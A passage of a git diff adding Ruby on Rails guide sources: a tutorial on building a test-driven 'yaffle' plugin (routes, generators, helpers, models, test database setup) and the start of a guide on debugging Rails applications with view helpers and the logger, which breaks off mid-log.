+-------------------------------------------------------- + +=== Working with init.rb === + +When rails loads plugins it looks for the file named init.rb. However, when the plugin is initialized, 'init.rb' is invoked via `eval` (not `require`) so it has slightly different behavior. + +Under certain circumstances if you reopen classes or modules in 'init.rb' you may inadvertently create a new class, rather than reopening an existing class. A better alternative is to reopen the class in a different file, and require that file from `init.rb`, as shown above. + +If you must reopen a class in `init.rb` you can use `module_eval` or `class_eval` to avoid any issues: + +*vendor/plugins/yaffle/init.rb* + +[source, ruby] +--------------------------------------------------- +Hash.class_eval do + def is_a_special_hash? + true + end +end +--------------------------------------------------- + +Another way is to explicitly define the top-level module space for all modules and classes, like `::Hash`: + +*vendor/plugins/yaffle/init.rb* + +[source, ruby] +--------------------------------------------------- +class ::Hash + def is_a_special_hash? + true + end +end +--------------------------------------------------- diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/custom_route.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/custom_route.txt new file mode 100644 index 00000000..1fce902a --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/custom_route.txt @@ -0,0 +1,69 @@ +== Add a Custom Route == + +Testing routes in plugins can be complex, especially if the controllers are also in the plugin itself. Jamis Buck showed a great example of this in http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2. + +*vendor/plugins/yaffle/test/routing_test.rb* + +[source, ruby] +-------------------------------------------------------- +require "#{File.dirname(__FILE__)}/test_helper" + +class RoutingTest < Test::Unit::TestCase + + def setup + ActionController::Routing::Routes.draw do |map| + map.yaffles + end + end + + def test_yaffles_route + assert_recognition :get, "/yaffles", :controller => "yaffles_controller", :action => "index" + end + + private + + # yes, I know about assert_recognizes, but it has proven problematic to + # use in these tests, since it uses RouteSet#recognize (which actually + # tries to instantiate the controller) and because it uses an awkward + # parameter order. + def assert_recognition(method, path, options) + result = ActionController::Routing::Routes.recognize_path(path, :method => method) + assert_equal options, result + end +end +-------------------------------------------------------- + +*vendor/plugins/yaffle/init.rb* + +[source, ruby] +-------------------------------------------------------- +require "routing" +ActionController::Routing::RouteSet::Mapper.send :include, Yaffle::Routing::MapperExtensions +-------------------------------------------------------- + +*vendor/plugins/yaffle/lib/routing.rb* + +[source, ruby] +-------------------------------------------------------- +module Yaffle #:nodoc: + module Routing #:nodoc: + module MapperExtensions + def yaffles + @set.add_route("/yaffles", {:controller => "yaffles_controller", :action => "index"}) + end + end + end +end +-------------------------------------------------------- + +*config/routes.rb* + +[source, ruby] +-------------------------------------------------------- +ActionController::Routing::Routes.draw do |map| + ... + map.yaffles +end +-------------------------------------------------------- + +You can also see if your routes work by running `rake routes` from your app directory. diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/gem.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/gem.txt new file mode 100644 index 00000000..93f5e0ee --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/gem.txt @@ -0,0 +1 @@ +http://www.mbleigh.com/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/generator_method.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/generator_method.txt new file mode 100644 index 00000000..126692f2 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/generator_method.txt @@ -0,0 +1,89 @@ +== Add a custom generator command == + +You may have noticed above that you can used one of the built-in rails migration commands `migration_template`. If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods. + +This section describes how you you can create your own commands to add and remove a line of text from 'routes.rb'. This example creates a very simple method that adds or removes a text file. + +To start, add the following test method: + +*vendor/plugins/yaffle/test/generator_test.rb* + +[source, ruby] +----------------------------------------------------------- +def test_generates_definition + Rails::Generator::Scripts::Generate.new.run(["yaffle", "bird"], :destination => fake_rails_root) + definition = File.read(File.join(fake_rails_root, "definition.txt")) + assert_match /Yaffle\:/, definition +end +----------------------------------------------------------- + +Run `rake` to watch the test fail, then make the test pass add the following: + +*vendor/plugins/yaffle/generators/yaffle/templates/definition.txt* + +----------------------------------------------------------- +Yaffle: A bird +----------------------------------------------------------- + +*vendor/plugins/yaffle/lib/yaffle.rb* + +[source, ruby] +----------------------------------------------------------- +require "yaffle/commands" +----------------------------------------------------------- + +*vendor/plugins/yaffle/lib/commands.rb* + +[source, ruby] +----------------------------------------------------------- +require 'rails_generator' +require 'rails_generator/commands' + +module Yaffle #:nodoc: + module Generator #:nodoc: + module Commands #:nodoc: + module Create + def yaffle_definition + file("definition.txt", "definition.txt") + end + end + + module Destroy + def yaffle_definition + file("definition.txt", "definition.txt") + end + end + + module List + def yaffle_definition + file("definition.txt", "definition.txt") + end + end + + module Update + def yaffle_definition + file("definition.txt", "definition.txt") + end + end + end + end +end + +Rails::Generator::Commands::Create.send :include, Yaffle::Generator::Commands::Create +Rails::Generator::Commands::Destroy.send :include, Yaffle::Generator::Commands::Destroy +Rails::Generator::Commands::List.send :include, Yaffle::Generator::Commands::List +Rails::Generator::Commands::Update.send :include, Yaffle::Generator::Commands::Update +----------------------------------------------------------- + +Finally, call your new method in the manifest: + +*vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb* + +[source, ruby] +----------------------------------------------------------- +class YaffleGenerator < Rails::Generator::NamedBase + def manifest + m.yaffle_definition + end +end +----------------------------------------------------------- diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/helpers.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/helpers.txt new file mode 100644 index 00000000..51b4cebb --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/helpers.txt @@ -0,0 +1,51 @@ +== Add a helper == + +This section describes how to add a helper named 'WoodpeckersHelper' to your plugin that will behave the same as a helper in your main app. This is very similar to adding a model and a controller. + +You can test your plugin's helper as you would test any other helper: + +*vendor/plugins/yaffle/test/woodpeckers_helper_test.rb* + +[source, ruby] +--------------------------------------------------------------- +require File.dirname(__FILE__) + '/test_helper.rb' +include WoodpeckersHelper + +class WoodpeckersHelperTest < Test::Unit::TestCase + def test_tweet + assert_equal "Tweet! Hello", tweet("Hello") + end +end +--------------------------------------------------------------- + +This is just a simple test to make sure the helper is being loaded correctly. After watching it fail with `rake`, you can make it pass like so: + +*vendor/plugins/yaffle/lib/yaffle.rb:* + +[source, ruby] +---------------------------------------------- +%w{ models controllers helpers }.each do |dir| + path = File.join(File.dirname(__FILE__), 'app', dir) + $LOAD_PATH << path + ActiveSupport::Dependencies.load_paths << path + ActiveSupport::Dependencies.load_once_paths.delete(path) +end + +ActionView::Base.send :include, WoodpeckersHelper +---------------------------------------------- + + +*vendor/plugins/yaffle/lib/app/helpers/woodpeckers_helper.rb:* + +[source, ruby] +---------------------------------------------- +module WoodpeckersHelper + + def tweet(text) + "Tweet! #{text}" + end + +end +---------------------------------------------- + +Now your test should be passing, and you should be able to use the Woodpeckers helper in your app. diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/index.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/index.txt new file mode 100644 index 00000000..19484e28 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/index.txt @@ -0,0 +1,52 @@ +The Basics of Creating Rails Plugins +==================================== + +A Rails plugin is either an extension or a modification of the core framework. Plugins provide: + + * a way for developers to share bleeding-edge ideas without hurting the stable code base + * a segmented architecture so that units of code can be fixed or updated on their own release schedule + * an outlet for the core developers so that they don’t have to include every cool new feature under the sun + +After reading this guide you should be familiar with: + + * Creating a plugin from scratch + * Writing and running tests for the plugin + * Storing models, views, controllers, helpers and even other plugins in your plugins + * Writing generators + * Writing custom Rake tasks in your plugin + * Generating RDoc documentation for your plugin + * Avoiding common pitfalls with 'init.rb' + +This guide describes how to build a test-driven plugin that will: + + * Extend core ruby classes like Hash and String + * Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins + * Add a view helper that can be used in erb templates + * Add a new generator that will generate a migration + * Add a custom generator command + * A custom route method that can be used in routes.rb + +For the purpose of this guide pretend for a moment that you are an avid bird watcher. Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness. First, you need to get setup for development. + + +include::test_setup.txt[] + +include::core_ext.txt[] + +include::acts_as_yaffle.txt[] + +include::migration_generator.txt[] + +include::generator_method.txt[] + +include::models.txt[] + +include::controllers.txt[] + +include::helpers.txt[] + +include::custom_route.txt[] + +include::odds_and_ends.txt[] + +include::appendix.txt[] diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/migration_generator.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/migration_generator.txt new file mode 100644 index 00000000..f4fc3248 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/migration_generator.txt @@ -0,0 +1,156 @@ +== Create a generator == + +Many plugins ship with generators. When you created the plugin above, you specified the --with-generator option, so you already have the generator stubs in 'vendor/plugins/yaffle/generators/yaffle'. + +Building generators is a complex topic unto itself and this section will cover one small aspect of generators: creating a generator that adds a time-stamped migration. + +To create a generator you must: + + * Add your instructions to the 'manifest' method of the generator + * Add any necessary template files to the templates directory + * Test the generator manually by running various combinations of `script/generate` and `script/destroy` + * Update the USAGE file to add helpful documentation for your generator + +=== Testing generators === + +Many rails plugin authors do not test their generators, however testing generators is quite simple. A typical generator test does the following: + + * Creates a new fake rails root directory that will serve as destination + * Runs the generator forward and backward, making whatever assertions are necessary + * Removes the fake rails root + +For the generator in this section, the test could look something like this: + +*vendor/plugins/yaffle/test/yaffle_generator_test.rb* + +[source, ruby] +------------------------------------------------------------------ +require File.dirname(__FILE__) + '/test_helper.rb' +require 'rails_generator' +require 'rails_generator/scripts/generate' +require 'rails_generator/scripts/destroy' + +class GeneratorTest < Test::Unit::TestCase + + def fake_rails_root + File.join(File.dirname(__FILE__), 'rails_root') + end + + def file_list + Dir.glob(File.join(fake_rails_root, "db", "migrate", "*")) + end + + def setup + FileUtils.mkdir_p(fake_rails_root) + @original_files = file_list + end + + def teardown + FileUtils.rm_r(fake_rails_root) + end + + def test_generates_correct_file_name + Rails::Generator::Scripts::Generate.new.run(["yaffle", "bird"], :destination => fake_rails_root) + new_file = (file_list - @original_files).first + assert_match /add_yaffle_fields_to_bird/, new_file + end + +end +------------------------------------------------------------------ + +You can run 'rake' from the plugin directory to see this fail. Unless you are doing more advanced generator commands it typically suffices to just test the Generate script, and trust that rails will handle the Destroy and Update commands for you. + +=== Adding to the manifest === + +This example will demonstrate how to use one of the built-in generator methods named 'migration_template' to create a migration file. To start, update your generator file to look like this: + +*vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb* + +[source, ruby] +------------------------------------------------------------------ +class YaffleGenerator < Rails::Generator::NamedBase + def manifest + record do |m| + m.migration_template 'migration:migration.rb', "db/migrate", {:assigns => yaffle_local_assigns, + :migration_file_name => "add_yaffle_fields_to_#{custom_file_name}" + } + end + end + + private + def custom_file_name + custom_name = class_name.underscore.downcase + custom_name = custom_name.pluralize if ActiveRecord::Base.pluralize_table_names + end + + def yaffle_local_assigns + returning(assigns = {}) do + assigns[:migration_action] = "add" + assigns[:class_name] = "add_yaffle_fields_to_#{custom_file_name}" + assigns[:table_name] = custom_file_name + assigns[:attributes] = [Rails::Generator::GeneratedAttribute.new("last_squawk", "string")] + end + end +end +------------------------------------------------------------------ + +The generator creates a new file in 'db/migrate' with a timestamp and an 'add_column' statement. It reuses the built in rails `migration_template` method, and reuses the built-in rails migration template. + +It's courteous to check to see if table names are being pluralized whenever you create a generator that needs to be aware of table names. This way people using your generator won't have to manually change the generated files if they've turned pluralization off. + +=== Manually test the generator === + +To run the generator, type the following at the command line: + +------------------------------------------------------------------ +./script/generate yaffle bird +------------------------------------------------------------------ + +and you will see a new file: + +*db/migrate/20080529225649_add_yaffle_fields_to_birds.rb* + +[source, ruby] +------------------------------------------------------------------ +class AddYaffleFieldsToBirds < ActiveRecord::Migration + def self.up + add_column :birds, :last_squawk, :string + end + + def self.down + remove_column :birds, :last_squawk + end +end +------------------------------------------------------------------ + + +=== The USAGE file === + +Rails ships with several built-in generators. You can see all of the generators available to you by typing the following at the command line: + +------------------------------------------------------------------ +script/generate +------------------------------------------------------------------ + +You should see something like this: + +------------------------------------------------------------------ +Installed Generators + Plugins (vendor/plugins): yaffle + Builtin: controller, integration_test, mailer, migration, model, observer, plugin, resource, scaffold, session_migration +------------------------------------------------------------------ + +When you run `script/generate yaffle` you should see the contents of your 'vendor/plugins/yaffle/generators/yaffle/USAGE' file. + +For this plugin, update the USAGE file looks like this: + +------------------------------------------------------------------ +Description: + Creates a migration that adds yaffle squawk fields to the given model + +Example: + ./script/generate yaffle hickwall + + This will create: + db/migrate/TIMESTAMP_add_yaffle_fields_to_hickwall +------------------------------------------------------------------ diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/models.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/models.txt new file mode 100644 index 00000000..458edec8 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/models.txt @@ -0,0 +1,76 @@ +== Add a model == + +This section describes how to add a model named 'Woodpecker' to your plugin that will behave the same as a model in your main app. When storing models, controllers, views and helpers in your plugin, it's customary to keep them in directories that match the rails directories. For this example, create a file structure like this: + +--------------------------------------------------------- +vendor/plugins/yaffle/ +|-- lib +| |-- app +| | |-- controllers +| | |-- helpers +| | |-- models +| | | `-- woodpecker.rb +| | `-- views +| |-- yaffle +| | |-- acts_as_yaffle.rb +| | |-- commands.rb +| | `-- core_ext.rb +| `-- yaffle.rb +--------------------------------------------------------- + +As always, start with a test: + +*vendor/plugins/yaffle/yaffle/woodpecker_test.rb:* + +[source, ruby] +---------------------------------------------- +require File.dirname(__FILE__) + '/test_helper.rb' + +class WoodpeckerTest < Test::Unit::TestCase + load_schema + + def test_woodpecker + assert_kind_of Woodpecker, Woodpecker.new + end +end +---------------------------------------------- + +This is just a simple test to make sure the class is being loaded correctly. After watching it fail with `rake`, you can make it pass like so: + +*vendor/plugins/yaffle/lib/yaffle.rb:* + +[source, ruby] +---------------------------------------------- +%w{ models }.each do |dir| + path = File.join(File.dirname(__FILE__), 'app', dir) + $LOAD_PATH << path + ActiveSupport::Dependencies.load_paths << path + ActiveSupport::Dependencies.load_once_paths.delete(path) +end +---------------------------------------------- + +Adding directories to the load path makes them appear just like files in the the main app directory - except that they are only loaded once, so you have to restart the web server to see the changes in the browser. Removing directories from the 'load_once_paths' allow those changes to picked up as soon as you save the file - without having to restart the web server. This is particularly useful as you develop the plugin. + + +*vendor/plugins/yaffle/lib/app/models/woodpecker.rb:* + +[source, ruby] +---------------------------------------------- +class Woodpecker < ActiveRecord::Base +end +---------------------------------------------- + +Finally, add the following to your plugin's 'schema.rb': + +*vendor/plugins/yaffle/test/schema.rb:* + +[source, ruby] +---------------------------------------------- +ActiveRecord::Schema.define(:version => 0) do + create_table :woodpeckers, :force => true do |t| + t.string :name + end +end +---------------------------------------------- + +Now your test should be passing, and you should be able to use the Woodpecker model from within your rails app, and any changes made to it are reflected immediately when running in development mode. \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/odds_and_ends.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/odds_and_ends.txt new file mode 100644 index 00000000..e328c04a --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/odds_and_ends.txt @@ -0,0 +1,69 @@ +== Odds and ends == + +=== Generate RDoc Documentation === + +Once your plugin is stable, the tests pass on all database and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy. + +The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are: + + * Your name. + * How to install. + * How to add the functionality to the app (several examples of common use cases). + * Warning, gotchas or tips that might help save users time. + +Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. + +Before you generate your documentation, be sure to go through and add nodoc comments to those modules and methods that are not important to your users. + +Once your comments are good to go, navigate to your plugin directory and run: + + rake rdoc + +=== Write custom Rake tasks in your plugin === + +When you created the plugin with the built-in rails generator, it generated a rake file for you in 'vendor/plugins/yaffle/tasks/yaffle.rake'. Any rake task you add here will be available to the app. + +Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so: + +*vendor/plugins/yaffle/tasks/yaffle.rake* + +[source, ruby] +--------------------------------------------------------- +namespace :yaffle do + desc "Prints out the word 'Yaffle'" + task :squawk => :environment do + puts "squawk!" + end +end +--------------------------------------------------------- + +When you run `rake -T` from your plugin you will see: + +--------------------------------------------------------- +yaffle:squawk # Prints out the word 'Yaffle' +--------------------------------------------------------- + +You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up. + +=== Store plugins in alternate locations === + +You can store plugins wherever you want - you just have to add those plugins to the plugins path in 'environment.rb'. + +Since the plugin is only loaded after the plugin paths are defined, you can't redefine this in your plugins - but it may be good to now. + +You can even store plugins inside of other plugins for complete plugin madness! + +[source, ruby] +--------------------------------------------------------- +config.plugin_paths << File.join(RAILS_ROOT,"vendor","plugins","yaffle","lib","plugins") +--------------------------------------------------------- + +=== Create your own Plugin Loaders and Plugin Locators === + +If the built-in plugin behavior is inadequate, you can change almost every aspect of the location and loading process. You can write your own plugin locators and plugin loaders, but that's beyond the scope of this tutorial. + + +=== Use Custom Plugin Generators === + +If you are an RSpec fan, you can install the `rspec_plugin_generator` gem, which will generate the spec folder and database for you. See http://github.com/pat-maddox/rspec-plugin-generator/tree/master. + diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/test_setup.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/test_setup.txt new file mode 100644 index 00000000..64236ff1 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/creating_plugins/test_setup.txt @@ -0,0 +1,230 @@ +== Preparation == + +=== Create the basic app === + +The examples in this guide require that you have a working rails application. To create a simple rails app execute: + +------------------------------------------------ +gem install rails +rails yaffle_guide +cd yaffle_guide +script/generate scaffold bird name:string +rake db:migrate +script/server +------------------------------------------------ + +Then navigate to http://localhost:3000/birds. Make sure you have a functioning rails app before continuing. + +.Editor's note: +NOTE: The aforementioned instructions will work for sqlite3. For more detailed instructions on how to create a rails app for other databases see the API docs. + + +=== Generate the plugin skeleton === + +Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either 'CamelCased' or 'under_scored', as an argument. Pass `\--with-generator` to add an example generator also. + +This creates a plugin in 'vendor/plugins' including an 'init.rb' and 'README' as well as standard 'lib', 'task', and 'test' directories. + +Examples: +---------------------------------------------- +./script/generate plugin yaffle +./script/generate plugin yaffle --with-generator +---------------------------------------------- + +To get more detailed help on the plugin generator, type `./script/generate plugin`. + +Later on this guide will describe how to work with generators, so go ahead and generate your plugin with the `\--with-generator` option now: + +---------------------------------------------- +./script/generate plugin yaffle --with-generator +---------------------------------------------- + +You should see the following output: + +---------------------------------------------- +create vendor/plugins/yaffle/lib +create vendor/plugins/yaffle/tasks +create vendor/plugins/yaffle/test +create vendor/plugins/yaffle/README +create vendor/plugins/yaffle/MIT-LICENSE +create vendor/plugins/yaffle/Rakefile +create vendor/plugins/yaffle/init.rb +create vendor/plugins/yaffle/install.rb +create vendor/plugins/yaffle/uninstall.rb +create vendor/plugins/yaffle/lib/yaffle.rb +create vendor/plugins/yaffle/tasks/yaffle_tasks.rake +create vendor/plugins/yaffle/test/core_ext_test.rb +create vendor/plugins/yaffle/generators +create vendor/plugins/yaffle/generators/yaffle +create vendor/plugins/yaffle/generators/yaffle/templates +create vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb +create vendor/plugins/yaffle/generators/yaffle/USAGE +---------------------------------------------- + +To begin just change one thing - move 'init.rb' to 'rails/init.rb'. + +=== Setup the plugin for testing === + +If your plugin interacts with a database, you'll need to setup a database connection. In this guide you will learn how to test your plugin against multiple different database adapters using Active Record. This guide will not cover how to use fixtures in plugin tests. + +To setup your plugin to allow for easy testing you'll need to add 3 files: + + * A 'database.yml' file with all of your connection strings + * A 'schema.rb' file with your table definitions + * A test helper method that sets up the database + +*vendor/plugins/yaffle/test/database.yml:* + +---------------------------------------------- +sqlite: + :adapter: sqlite + :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite.db + +sqlite3: + :adapter: sqlite3 + :dbfile: vendor/plugins/yaffle/test/yaffle_plugin.sqlite3.db + +postgresql: + :adapter: postgresql + :username: postgres + :password: postgres + :database: yaffle_plugin_test + :min_messages: ERROR + +mysql: + :adapter: mysql + :host: localhost + :username: root + :password: password + :database: yaffle_plugin_test +---------------------------------------------- + +For this guide you'll need 2 tables/models, Hickwalls and Wickwalls, so add the following: + +*vendor/plugins/yaffle/test/schema.rb:* + +[source, ruby] +---------------------------------------------- +ActiveRecord::Schema.define(:version => 0) do + create_table :hickwalls, :force => true do |t| + t.string :name + t.string :last_squawk + t.datetime :last_squawked_at + end + create_table :wickwalls, :force => true do |t| + t.string :name + t.string :last_tweet + t.datetime :last_tweeted_at + end + create_table :woodpeckers, :force => true do |t| + t.string :name + end +end +---------------------------------------------- + +*vendor/plugins/yaffle/test/test_helper.rb:* + +[source, ruby] +---------------------------------------------- +ENV['RAILS_ENV'] = 'test' +ENV['RAILS_ROOT'] ||= File.dirname(__FILE__) + '/../../../..' + +require 'test/unit' +require File.expand_path(File.join(ENV['RAILS_ROOT'], 'config/environment.rb')) + +def load_schema + config = YAML::load(IO.read(File.dirname(__FILE__) + '/database.yml')) + ActiveRecord::Base.logger = Logger.new(File.dirname(__FILE__) + "/debug.log") + + db_adapter = ENV['DB'] + + # no db passed, try one of these fine config-free DBs before bombing. + db_adapter ||= + begin + require 'rubygems' + require 'sqlite' + 'sqlite' + rescue MissingSourceFile + begin + require 'sqlite3' + 'sqlite3' + rescue MissingSourceFile + end + end + + if db_adapter.nil? + raise "No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3." + end + + ActiveRecord::Base.establish_connection(config[db_adapter]) + load(File.dirname(__FILE__) + "/schema.rb") + require File.dirname(__FILE__) + '/../rails/init.rb' +end +---------------------------------------------- + +Now whenever you write a test that requires the database, you can call 'load_schema'. + +=== Run the plugin tests === + +Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct. By default rails generates a file in 'vendor/plugins/yaffle/test/yaffle_test.rb' with a sample test. Replace the contents of that file with: + +*vendor/plugins/yaffle/test/yaffle_test.rb:* + +[source, ruby] +---------------------------------------------- +require File.dirname(__FILE__) + '/test_helper.rb' + +class YaffleTest < Test::Unit::TestCase + load_schema + + class Hickwall < ActiveRecord::Base + end + + class Wickwall < ActiveRecord::Base + end + + def test_schema_has_loaded_correctly + assert_equal [], Hickwall.all + assert_equal [], Wickwall.all + end + +end +---------------------------------------------- + +To run this, go to the plugin directory and run `rake`: + +---------------------------------------------- +cd vendor/plugins/yaffle +rake +---------------------------------------------- + +You should see output like: + +---------------------------------------------- +/opt/local/bin/ruby -Ilib:lib "/opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader.rb" "test/yaffle_test.rb" +-- create_table(:hickwalls, {:force=>true}) + -> 0.0220s +-- create_table(:wickwalls, {:force=>true}) + -> 0.0077s +-- initialize_schema_migrations_table() + -> 0.0007s +-- assume_migrated_upto_version(0) + -> 0.0007s +Loaded suite /opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader +Started +. +Finished in 0.002236 seconds. + +1 test, 1 assertion, 0 failures, 0 errors +---------------------------------------------- + +By default the setup above runs your tests with sqlite or sqlite3. To run tests with one of the other connection strings specified in database.yml, pass the DB environment variable to rake: + +---------------------------------------------- +rake DB=sqlite +rake DB=sqlite3 +rake DB=mysql +rake DB=postgresql +---------------------------------------------- + +Now you are ready to test-drive your plugin! diff --git a/vendor/rails/railties/doc/guides/source/debugging_rails_applications.txt b/vendor/rails/railties/doc/guides/source/debugging_rails_applications.txt new file mode 100644 index 00000000..4425d924 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/debugging_rails_applications.txt @@ -0,0 +1,733 @@ +Debugging Rails Applications +============================ + +This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to: + +* Understand the purpose of debugging +* Track down problems and issues in your application that your tests aren't identifying +* Learn the different ways of debugging +* Analyze the stack trace + +== View Helpers for Debugging + +One common task is to inspect the contents of a variable. In Rails, you can do this with three methods: + +* `debug` +* `to_yaml` +* `inspect` + +=== debug + +The `debug` helper will return a
-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
+
+[source, html]
+----------------------------------------------------------------------------
+<%= debug @post %>
+

+ Title: + <%=h @post.title %> +

+---------------------------------------------------------------------------- + +You'll see something like this: + +---------------------------------------------------------------------------- +--- !ruby/object:Post +attributes: + updated_at: 2008-09-05 22:55:47 + body: It's a very helpful guide for debugging your Rails app. + title: Rails debugging guide + published: t + id: "1" + created_at: 2008-09-05 22:55:47 +attributes_cache: {} + + +Title: Rails debugging guide +---------------------------------------------------------------------------- + +=== to_yaml + +Displaying an instance variable, or any other object or method, in yaml format can be achieved this way: + +[source, html] +---------------------------------------------------------------------------- +<%= simple_format @post.to_yaml %> +

+ Title: + <%=h @post.title %> +

+---------------------------------------------------------------------------- + +The `to_yaml` method converts the method to YAML format leaving it more readable, and then the `simple_format` helper is used to render each line as in the console. This is how `debug` method does its magic. + +As a result of this, you will have something like this in your view: + +---------------------------------------------------------------------------- +--- !ruby/object:Post +attributes: +updated_at: 2008-09-05 22:55:47 +body: It's a very helpful guide for debugging your Rails app. +title: Rails debugging guide +published: t +id: "1" +created_at: 2008-09-05 22:55:47 +attributes_cache: {} + +Title: Rails debugging guide +---------------------------------------------------------------------------- + +=== inspect + +Another useful method for displaying object values is `inspect`, especially when working with arrays or hashes. This will print the object value as a string. For example: + +[source, html] +---------------------------------------------------------------------------- +<%= [1, 2, 3, 4, 5].inspect %> +

+ Title: + <%=h @post.title %> +

+---------------------------------------------------------------------------- + +Will be rendered as follows: + +---------------------------------------------------------------------------- +[1, 2, 3, 4, 5] + +Title: Rails debugging guide +---------------------------------------------------------------------------- + +=== Debugging Javascript + +Rails has built-in support to debug RJS, to active it, set `ActionView::Base.debug_rjs` to _true_, this will specify whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it). + +To enable it, add the following in the `Rails::Initializer do |config|` block inside +environment.rb+: + +[source, ruby] +---------------------------------------------------------------------------- +config.action_view[:debug_rjs] = true +---------------------------------------------------------------------------- + +Or, at any time, setting `ActionView::Base.debug_rjs` to _true_: + +[source, ruby] +---------------------------------------------------------------------------- +ActionView::Base.debug_rjs = true +---------------------------------------------------------------------------- + +[TIP] +For more information on debugging javascript refer to link:http://getfirebug.com/[Firebug], the popular debugger for Firefox. + +== The Logger + +It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment. + +=== What is The Logger? + +Rails makes use of Ruby's standard `logger` to write log information. You can also substitute another logger such as `Log4R` if you wish. + +You can specify an alternative logger in your +environment.rb+ or any environment file: + +[source, ruby] +---------------------------------------------------------------------------- +ActiveRecord::Base.logger = Logger.new(STDOUT) +ActiveRecord::Base.logger = Log4r::Logger.new("Application Log") +---------------------------------------------------------------------------- + +Or in the +Initializer+ section, add _any_ of the following + +[source, ruby] +---------------------------------------------------------------------------- +config.logger = Logger.new(STDOUT) +config.logger = Log4r::Logger.new("Application Log") +---------------------------------------------------------------------------- + +[TIP] +By default, each log is created under `RAILS_ROOT/log/` and the log file name is +environment_name.log+. + +=== Log Levels + +When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the `ActiveRecord::Base.logger.level` method. + +The available log levels are: +:debug+, +:info+, +:warn+, +:error+, and +:fatal+, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use + +[source, ruby] +---------------------------------------------------------------------------- +config.log_level = Logger::WARN # In any environment initializer, or +ActiveRecord::Base.logger.level = 0 # at any time +---------------------------------------------------------------------------- + +This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information. + +[TIP] +The default Rails log level is +info+ in production mode and +debug+ in development and test mode. + +=== Sending Messages + +To write in the current log use the `logger.(debug|info|warn|error|fatal)` method from within a controller, model or mailer: + +[source, ruby] +---------------------------------------------------------------------------- +logger.debug "Person attributes hash: #{@person.attributes.inspect}" +logger.info "Processing the request..." +logger.fatal "Terminating application, raised unrecoverable error!!!" +---------------------------------------------------------------------------- + +Here's an example of a method instrumented with extra logging: + +[source, ruby] +---------------------------------------------------------------------------- +class PostsController < ApplicationController + # ... + + def create + @post = Post.new(params[:post]) + logger.debug "New post: #{@post.attributes.inspect}" + logger.debug "Post should be valid: #{@post.valid?}" + + if @post.save + flash[:notice] = 'Post was successfully created.' + logger.debug "The post was saved and now is the user is going to be redirected..." + redirect_to(@post) + else + render :action => "new" + end + end + + # ... +end +---------------------------------------------------------------------------- + +Here's an example of the log generated by this method: + +---------------------------------------------------------------------------- +Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST] + Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl +vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4 + Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails", + "body"=>"I'm learning how to print in logs!!!", "published"=>"0"}, + "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"} +New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!", + "published"=>false, "created_at"=>nil} +Post should be valid: true + Post Create (0.000443) INSERT INTO "posts" ("updated_at", "title", "body", "published", + "created_at") VALUES('2008-09-08 